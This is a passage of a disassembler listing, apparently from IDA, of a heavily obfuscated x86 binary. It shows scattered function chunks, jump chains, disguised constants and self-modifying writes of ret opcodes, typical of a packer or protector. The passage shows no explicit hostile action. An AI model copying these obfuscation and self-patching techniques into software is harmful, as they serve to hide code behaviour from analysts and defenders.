0CFA08636h add ecx, ebp call sub_44C48C ; START OF FUNCTION CHUNK FOR sub_440280 loc_441DFB: ; CODE XREF: sub_440280+D08Ej jmp loc_447F74 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_441E00: ; CODE XREF: y22d6.y.:0044BC91j jmp loc_449747 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A1FA loc_441E05: ; CODE XREF: sub_43A1FA+15j jmp loc_44E5A0 ; END OF FUNCTION CHUNK FOR sub_43A1FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_441E0A: ; CODE XREF: sub_448C77:loc_448C86j pop ebp mov eax, ds:dword_441990 or eax, eax jnz loc_43733E jmp loc_43DFCC ; END OF FUNCTION CHUNK FOR sub_448C77 ; =============== S U B R O U T I N E ======================================= sub_441E1E proc near ; CODE XREF: y22d6.y.:00442C6Dp ; y22d6.y.:004457AEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004392DC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044074F SIZE 00000004 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp+0] mov ebp, eax xchg ebp, [esp+0] call sub_43E953 jmp loc_4392DC sub_441E1E endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb eax, 0B9F33FA0h jmp loc_44500C ; --------------------------------------------------------------------------- mov eax, 0A7C2536Ch ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_441E44: ; CODE XREF: sub_44BCC2:loc_438846j push edx push 6DD4080Eh pop edx or edx, 0A24FCEAEh add edx, 1064A0F6h jmp loc_44200B ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_441E5C proc near ; CODE XREF: y22d6.y.:0043FC72j ; sub_44928B+5310p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043B3BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D27E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043EB58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F1C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442B0C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004453D1 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push 885F2F7h pop edi loc_441E66: ; CODE XREF: y22d6.y.:004484DFj and edi, ds:4000E3h rol edi, 1Fh add edi, 2AD712A5h jmp loc_43B3BF sub_441E5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_441E7A: ; CODE XREF: sub_43923C:loc_445F0Dj pop edx mov eax, [esp-4+arg_0] push esi push edx pop esi jmp loc_44196C ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- jns loc_437348 jmp sub_449725 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438BEC loc_441E91: ; CODE XREF: sub_438BEC+DA4j call sub_443954 pop ecx shl eax, 7 mov edx, [ebp+8] mov edx, [edx-8] or edx, 40h or eax, edx jmp loc_443AB8 ; END OF FUNCTION CHUNK FOR sub_438BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_441EAA: ; CODE XREF: sub_444427:loc_4482E0j mov ds:off_41E218, eax lea eax, loc_43DDBB mov byte ptr [eax], 0C3h jmp loc_43E2B8 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_441EBE: ; CODE XREF: sub_43A9C6:loc_43DDBBj pop edx jmp loc_44A49E ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; =============== S U B R O U T I N E ======================================= sub_441EC4 proc near ; DATA XREF: sub_448EB6-8C7Eo ; FUNCTION CHUNK AT 0043B8CD SIZE 00000005 BYTES mov ds:dword_41E0C8, eax lea eax, nullsub_338 mov byte ptr [eax], 0C3h jmp loc_43B8CD sub_441EC4 endp ; --------------------------------------------------------------------------- call nullsub_341 jmp loc_43DBBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_441EE2: ; CODE XREF: sub_43FAC6-67D1j push ecx ror edx, 14h shl esi, 6 loc_441EE9: ; CODE XREF: sub_43FAC6:loc_4392EEj add edx, 0A9C349E1h loc_441EEF: ; CODE XREF: y22d6.y.:loc_43CE80j xor edx, 0B2B1B34Eh add edx, ebp jmp loc_43A330 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- push offset sub_44C222 jmp locret_440FA2 ; --------------------------------------------------------------------------- loc_441F06: ; CODE XREF: y22d6.y.:00444B26j or esi, ecx ; =============== S U B R O U T I N E ======================================= sub_441F08 proc near ; CODE XREF: y22d6.y.:loc_4486C1p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00437E0D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00438018 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043AE81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C25A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043D1AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F000 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F68D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004403B2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00441BEE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044360D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444F65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445136 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445C36 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004463BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446FD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004472F5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004478B4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044AF46 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0044C406 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044C84E SIZE 00000019 BYTES xchg esi, [esp+0] pop esi imul byte ptr [edx] cmp al, 0A4h jz loc_440899 jmp loc_445136 sub_441F08 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E357 loc_441F1B: ; CODE XREF: sub_44E357:loc_441642j rol eax, 18h and eax, 9273F179h push offset sub_439765 jmp nullsub_346 ; END OF FUNCTION CHUNK FOR sub_44E357 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_441F2E: ; CODE XREF: sub_43E185+6906j jz loc_449195 jmp loc_4456E0 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C9E loc_441F39: ; CODE XREF: sub_447C9E:loc_447CAAj push eax push offset loc_43D138 jmp loc_439D7C ; END OF FUNCTION CHUNK FOR sub_447C9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_441F44: ; CODE XREF: sub_43B7D4-15DFj jnz loc_441BB6 jmp loc_43CF24 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- loc_441F4F: ; CODE XREF: y22d6.y.:loc_445C00j push ebx push 0B7617A27h pop ebx rol ebx, 1 sub ebx, 9A63723h jns loc_43D101 ; START OF FUNCTION CHUNK FOR sub_43C22F loc_441F64: ; CODE XREF: sub_43C22F:loc_44C259j pop ebx or edi, 7E0CD99Fh test edi, 40000h jmp loc_4417FC ; END OF FUNCTION CHUNK FOR sub_43C22F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_441F76: ; CODE XREF: sub_448EB6+Ej jnz loc_44B7CC jmp loc_44BDB9 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA62 loc_441F82: ; CODE XREF: sub_43CA62+5j jmp sub_44C392 ; END OF FUNCTION CHUNK FOR sub_43CA62 ; --------------------------------------------------------------------------- sbb edx, esi jmp loc_43BB3F ; --------------------------------------------------------------------------- loc_441F8E: ; CODE XREF: y22d6.y.:loc_449FECj ; y22d6.y.:0044A004j add ebx, 72C51849h mov [ebx], eax pop ebx lea eax, nullsub_354 mov byte ptr [eax], 0C3h jmp loc_43B6A5 ; =============== S U B R O U T I N E ======================================= sub_441FA5 proc near ; CODE XREF: sub_402BB7+19p ; sub_43BC90+9j ; DATA XREF: ... call sub_43BC90 loc_441FAA: ; CODE XREF: y22d6.y.:0043F2C8j jmp nullsub_46 sub_441FA5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448BA0 loc_441FAF: ; CODE XREF: sub_448BA0-FC80j jmp sub_442206 ; END OF FUNCTION CHUNK FOR sub_448BA0 ; --------------------------------------------------------------------------- loc_441FB4: ; CODE XREF: y22d6.y.:004478D7j popf ; =============== S U B R O U T I N E ======================================= sub_441FB5 proc near ; CODE XREF: y22d6.y.:loc_444335p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00445736 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004481AA SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor eax, 0DF626906h add eax, ebp add eax, 20967082h jmp loc_4481AA sub_441FB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_441FCC: ; CODE XREF: y22d6.y.:0043CE87j ror ebp, 15h sub edi, 0ECE31A36h loc_441FD5: ; CODE XREF: y22d6.y.:loc_449DBCj mov eax, [esp] push eax call sub_44C171 jmp loc_438123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C6F loc_441FE3: ; CODE XREF: sub_447C6F:loc_44D71Bj cmp dword ptr [ebp-14h], 6 setz al call sub_443954 pop ecx shl eax, 3 jmp loc_43E56B ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_441FF8: ; CODE XREF: sub_43F35E-2D1Cj sub ebp, ebx jmp loc_43EF01 ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_441FFF: ; CODE XREF: sub_43CA1A+106F3j jz loc_44AB17 jmp loc_44BD7A ; END OF FUNCTION CHUNK FOR sub_43CA1A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44200B: ; CODE XREF: sub_44BCC2-9E6Bj jmp loc_43E440 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_442010: ; CODE XREF: y22d6.y.:0044655Ej push offset sub_44D6B7 jmp loc_44CA70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_44201A: ; CODE XREF: sub_43FFE2-42E5j not eax jmp loc_442747 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_442021: ; CODE XREF: sub_43C712+B20Cj sub eax, esi pop esi loc_442024: ; CODE XREF: y22d6.y.:loc_444329j push offset sub_44E52B jmp loc_4420EA ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- loc_44202E: ; CODE XREF: y22d6.y.:00440DBDj add esi, ecx jp loc_43DC49 loc_442036: ; CODE XREF: y22d6.y.:loc_4470D1j call sub_43A4E4 loc_44203B: ; DATA XREF: y22d6.y.:0043C074o lea eax, loc_4475CC mov byte ptr [eax], 0C3h loc_442044: ; CODE XREF: y22d6.y.:loc_43D81Dj jmp loc_4475CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_442049: ; CODE XREF: sub_448C77:loc_4475CCj pop edx mov eax, [esp+0] push ebp mov ebp, edx xchg ebp, [esp+4+var_4] jmp loc_438A2D ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_442058: ; CODE XREF: sub_4450FD:loc_43930Aj ; sub_44B17B-D985j ... jmp loc_440D75 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44205D: ; CODE XREF: y22d6.y.:0043AAF8j ; sub_4450FD+8DF4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4450FD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442060 proc near ; CODE XREF: y22d6.y.:loc_437559p ; sub_44CC9B:loc_438482j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043F029 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044A38C SIZE 00000012 BYTES push ebp mov ebp, esp push edx mov edx, ecx jmp loc_43F029 sub_442060 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44206B: ; CODE XREF: sub_440280-7790j shl ecx, 17h jg loc_43DF14 pushf jmp loc_44785C ; END OF FUNCTION CHUNK FOR sub_440280 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_44207B: ; CODE XREF: sub_44E5C7-B8D4j jmp loc_43A985 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439B2C loc_442080: ; CODE XREF: sub_439B2C+Aj jmp loc_43BD24 ; END OF FUNCTION CHUNK FOR sub_439B2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F9E0 loc_442085: ; CODE XREF: sub_43F9E0:loc_43B2B9j call sub_44D7E0 loc_44208A: ; CODE XREF: y22d6.y.:004375C1j mov edx, ecx pop ecx mov eax, [esp+0] push eax jmp loc_440CF7 ; END OF FUNCTION CHUNK FOR sub_43F9E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44469C loc_442096: ; CODE XREF: sub_44469C:loc_437AD1j rol ebx, 1Ch or ebx, 486366B3h rol ebx, 1 add ebx, 6053E688h xchg ebx, [esp+4+var_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44469C ; --------------------------------------------------------------------------- loc_4420AF: ; CODE XREF: y22d6.y.:00438DF2j sub ecx, 0EA07D9D4h ; =============== S U B R O U T I N E ======================================= sub_4420B5 proc near ; CODE XREF: y22d6.y.:00449C83p xchg edx, [esp+0] pop edx pushf push 2CF60D7Bh jmp loc_440F6F sub_4420B5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_4420C4: ; CODE XREF: sub_44B489-6F33j xchg ebx, [eax] add edx, ebx add edi, eax loc_4420CA: ; CODE XREF: sub_44B489:loc_43D14Fj push 9FA40EE1h xchg ebx, [esp+0] jmp loc_43AAB0 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- sub edi, ebp jmp sub_437680 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_4420DE: ; CODE XREF: sub_439595-222Fj ; sub_439595+ED17j and ebx, 0E546ABB0h jns loc_44A91A ; END OF FUNCTION CHUNK FOR sub_439595 ; START OF FUNCTION CHUNK FOR sub_43C712 loc_4420EA: ; CODE XREF: sub_43C712+5917j jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- loc_4420EF: ; CODE XREF: y22d6.y.:0043C30Aj jmp nullsub_338 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD94 loc_4420F4: ; CODE XREF: sub_43AD94+1j jmp loc_449F31 ; END OF FUNCTION CHUNK FOR sub_43AD94 ; --------------------------------------------------------------------------- test ecx, edi jmp loc_438856 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442100: ; CODE XREF: sub_448EB6:loc_446DDCj ; y22d6.y.:00446DF4j call sub_44BA7B loc_442105: ; CODE XREF: sub_44633F-D6E5j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44210A: ; CODE XREF: sub_440280:loc_442450j test ebp, ebx jmp loc_438EF6 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445C50 loc_442111: ; CODE XREF: sub_445C50:loc_445C64j mov edx, [esp+0] push eax mov eax, edx call sub_43E913 jmp loc_44AAEB ; END OF FUNCTION CHUNK FOR sub_445C50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_442121: ; CODE XREF: sub_44313A+582Fj push edi push 19B1EAAFh pop edi and edi, 0ADEBC0A6h jmp loc_4381D9 ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- xor edx, ebp jmp loc_437789 ; --------------------------------------------------------------------------- loc_44213A: ; DATA XREF: sub_440626:loc_442404o xchg edx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_442142: ; CODE XREF: sub_442C0C:loc_447C6Aj ror esi, 0Eh add ecx, 5065F967h rol ecx, 18h and ebp, 0DA820110h xchg ecx, ebp jmp loc_43F5DF ; END OF FUNCTION CHUNK FOR sub_442C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_44215C: ; CODE XREF: y22d6.y.:00437F30j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C62A loc_44215D: ; CODE XREF: sub_43C62A+CE6Dj pop ebx mov edx, [esp+0] push edi mov edi, eax xchg edi, [esp+4+var_4] mov eax, edx call sub_4463CE mov eax, [esp+4+var_4] jmp loc_44CFC4 ; END OF FUNCTION CHUNK FOR sub_43C62A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_442176: ; CODE XREF: sub_4432B8+25FAj jl loc_43EB52 js loc_4404CA sbb eax, 28683294h jmp loc_4377BF ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44218D: ; CODE XREF: y22d6.y.:loc_43A5A0j mov edx, ebp pop ebp push offset sub_4399C6 jmp loc_444255 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44219A: ; CODE XREF: sub_44AEDA:loc_449915j jl loc_43974C ; END OF FUNCTION CHUNK FOR sub_44AEDA ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_4421A0: ; CODE XREF: sub_4409F4+3271j jmp loc_43902E ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- jnp sub_44439D sbb ebx, 3A5235E5h jmp loc_439745 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441000 loc_4421B6: ; CODE XREF: sub_441000-21A4j mov ebx, 0F3D31F44h shr ebp, 0Eh loc_4421BE: ; CODE XREF: sub_441000:loc_43EE54j add ecx, 0D93E16A6h rol ecx, 18h cmp ecx, 0B81A7B92h jmp loc_43BB6B ; END OF FUNCTION CHUNK FOR sub_441000 ; --------------------------------------------------------------------------- loc_4421D2: ; CODE XREF: y22d6.y.:00444E3Bj cdq ; =============== S U B R O U T I N E ======================================= sub_4421D3 proc near ; CODE XREF: sub_4445FD+6p ; FUNCTION CHUNK AT 00442E66 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax and dword ptr [eax+24h], 7FFFFFFFh lea eax, [ebp-14h] push ecx jmp loc_442E66 sub_4421D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_4421E7: ; CODE XREF: sub_44193A-6C37j mov ebp, edi pop edi push 45387E86h pop eax or eax, 0EB002046h jmp loc_437263 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_4421FB: ; CODE XREF: sub_4431CD+799j jbe loc_445A28 jmp loc_4422D0 ; END OF FUNCTION CHUNK FOR sub_4431CD ; =============== S U B R O U T I N E ======================================= sub_442206 proc near ; CODE XREF: sub_44633F-D2CAp ; sub_448BA0:loc_441FAFj jno loc_448F7D push ebp mov ebp, esp push ecx jmp loc_43DBD3 sub_442206 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_442215: ; CODE XREF: sub_43B98D:loc_43E1C3j jnz loc_443ABE loc_44221B: ; CODE XREF: sub_43B98D+AB6Ej ; sub_43B98D+DED8j ... jnb loc_43FCE5 mov eax, [ebp+8] test byte ptr [eax-10h], 38h jnz loc_443ABE mov eax, [ebp+8] push eax mov eax, [ebp+8] jmp loc_43FCD9 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44223A: ; CODE XREF: sub_438B66+5CB0j jge loc_444B48 loc_442240: ; CODE XREF: y22d6.y.:loc_447DF2j jmp loc_44C254 ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_442245 proc near ; DATA XREF: sub_439FCB:loc_43CFB3o ; FUNCTION CHUNK AT 00439BD5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FF7C SIZE 00000005 BYTES push edi pushf push 0B8345CFFh pop edi sub edi, 0BFBC1B6h and edi, 3BB64A5Eh add edi, 0D8139195h popf jmp loc_43FF7C sub_442245 endp ; --------------------------------------------------------------------------- locret_442265: ; CODE XREF: y22d6.y.:0044A4F2j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442266 proc near ; CODE XREF: sub_448EB6-DD05p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0043DE80 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00440B36 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004413B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AB8B SIZE 0000001F BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 10h jmp loc_4413B9 sub_442266 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_442282: ; CODE XREF: y22d6.y.:0044B9D3j jmp loc_44446C ; --------------------------------------------------------------------------- loc_442287: ; CODE XREF: y22d6.y.:00449667j jmp loc_4478A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_44228C: ; CODE XREF: sub_43D20E+B92Ej jmp loc_43AB7C ; END OF FUNCTION CHUNK FOR sub_43D20E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_442292: ; CODE XREF: y22d6.y.:0044C363j mov byte ptr [eax], 0C3h jmp loc_43EBB2 ; =============== S U B R O U T I N E ======================================= sub_44229A proc near ; CODE XREF: sub_4099FF+27Fp ; sub_4099FF+29Fp ... call sub_4422AA jmp ds:off_41E090 sub_44229A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F7FF loc_4422A5: ; CODE XREF: sub_43F7FF+8C33j jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_43F7FF ; =============== S U B R O U T I N E ======================================= sub_4422AA proc near ; CODE XREF: sub_44229Ap ; sub_44B1D2:loc_44407Cj ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00439521 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004399F4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043ACC6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BDC2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FC14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440DB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A364 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B6D8 SIZE 00000012 BYTES pop edx jz loc_43BDC2 mov eax, [esp+0] push edx jmp loc_440DB0 sub_4422AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4422BA proc near ; CODE XREF: sub_4432B8+61p ; y22d6.y.:00444E4Fj xchg edi, [esp+0] pop edi mov [ebx], eax pop ebx jmp nullsub_361 sub_4422BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E953 loc_4422C6: ; CODE XREF: sub_43E953j push offset loc_43EF48 jmp loc_43D2AB ; END OF FUNCTION CHUNK FOR sub_43E953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_4422D0: ; CODE XREF: y22d6.y.:loc_437D31j ; sub_44633F:loc_43D5E5j ... mov esp, ebp xchg eax, [esp+0] push eax pop ebp jmp loc_4484BC ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_4422DC: ; CODE XREF: sub_44BBBA:loc_43B69Aj ; y22d6.y.:0043B6B2j call sub_44D54C ; --------------------------------------------------------------------------- loc_4422E1: ; CODE XREF: sub_43C55B+BFE3j jmp loc_43773D ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4422E6: ; CODE XREF: sub_438B66+F7FDj jmp loc_4483FC ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4422EB: ; CODE XREF: sub_4432B8+17j jmp loc_43E85B ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- jmp ds:dword_41E164 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push offset loc_43C1DF jmp loc_43F93E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_330. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ebx jmp sub_44CD98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AB7B loc_442308: ; CODE XREF: sub_44AB7B+Bj push 0C9FBC6E4h pop ecx and ecx, 0C840F843h jnz loc_44CABB ; END OF FUNCTION CHUNK FOR sub_44AB7B ; START OF FUNCTION CHUNK FOR sub_444427 loc_44231A: ; CODE XREF: sub_444427+2C31j jmp loc_43EEAF ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- adc edx, esi ; START OF FUNCTION CHUNK FOR sub_44485F loc_442321: ; CODE XREF: sub_44485F:loc_44C5A7j jmp loc_4434B9 ; END OF FUNCTION CHUNK FOR sub_44485F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_442326: ; CODE XREF: sub_4432B8+7931j ja loc_448878 add ebx, 0B1CBA112h mov [esi], ebp loc_442334: ; CODE XREF: sub_4432B8:loc_44447Dj call sub_43FD7A loc_442339: ; CODE XREF: sub_44D041:loc_44713Bj pop esi rol esi, 1Eh add esi, 7C1BC504h xchg esi, [esp-4+arg_0] jmp loc_43FFF9 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_44234B proc near ; DATA XREF: sub_447896+5641o call sub_44ABC9 push 584AF9DEh pop eax or eax, 0CC11B1D6h and eax, 9A772069h sub eax, 34C19509h sub_44234B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_447268 loc_442368: ; CODE XREF: sub_447268+2C8Ej add eax, 55E0E31Bh jmp loc_439CE5 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- loc_442373: ; CODE XREF: y22d6.y.:0044CB05j jz loc_44970F loc_442379: ; CODE XREF: y22d6.y.:00438102j jmp loc_445E16 ; --------------------------------------------------------------------------- jle loc_44A64F ja loc_43CD48 or esi, 9D0AE587h jmp loc_44970B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_442395: ; CODE XREF: sub_437FD8:loc_43E0C4j sub al, 99h push 0B0ECB097h pop edx or edx, 5D769D42h test edx, 200h jmp loc_43AB65 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_4423AE: ; CODE XREF: sub_43E037+Cj or eax, 7F743AF5h xor eax, 9DE85E7Eh add eax, ebp push ecx push 1CDDB5D5h pop ecx or ecx, ds:4000E7h jmp loc_44D84F ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- loc_4423CE: ; CODE XREF: y22d6.y.:loc_43D855j add ebx, 3431A8ADh 